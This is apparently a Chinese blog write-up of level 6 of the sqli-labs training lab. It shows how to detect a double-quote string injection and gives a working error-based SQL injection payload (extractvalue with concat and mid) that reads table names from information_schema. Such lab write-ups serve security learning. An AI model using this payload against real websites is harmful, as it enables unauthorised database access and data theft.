sqllab第六关通关笔记

知识点:

  • 报错注入回顾
  • 原始语句测试
  • 截取函数
    • mid(字符串,起始位置,长度)
    • substr(字符串,起始位置,长度)
    • left(字符串,长度)
    • right(字符串,长度)
  • 加入截取控制的错误注入payload
    • payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
  • 关键表信息回顾

首先判断注入类型

构造id=1/0

发现正常输出;应该是字符型注入

构造id=1'

发现正常输出;不是单引号的输入读取

构造id=1"

发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取

构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+

成功读取到了数据库的表信息;进一步可以读取字段名和关键信息

这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10

相关推荐
林夕sama12 小时前
MySQL的学习笔记
笔记·学习·mysql
Cricyta Sevina12 小时前
Java Map 集合深度笔记(理论篇)
java·笔记·哈希算法·map集合
灯前目力虽非昔,犹课蝇头二万言。12 小时前
HarmonyOS笔记9:UIAbility之间的切换和数据的传递
笔记·harmonyos
Ccjf酷儿12 小时前
操作系统 李治军 3 内存管理
笔记
TL滕12 小时前
从0开始学算法——第十一天(字符串基础算法)
笔记·学习·算法
Hello_Embed12 小时前
FreeRTOS 入门(二十六):队列创建与读写 API 实战解析
笔记·学习·操作系统·嵌入式·freertos
❀͜͡傀儡师12 小时前
docker一键部署Flatnotes笔记工具
笔记·docker·容器
电饭叔13 小时前
一个构建指定坐标轴在默认点(0,0)的构造方法《python语言程序设计》2018版--第8章17题第2部分
开发语言·笔记·python
SadSunset13 小时前
(9)基于xml的自动装配
java·笔记·spring
hetao173383714 小时前
2025-12-10 hetao1733837的刷题笔记
c++·笔记·算法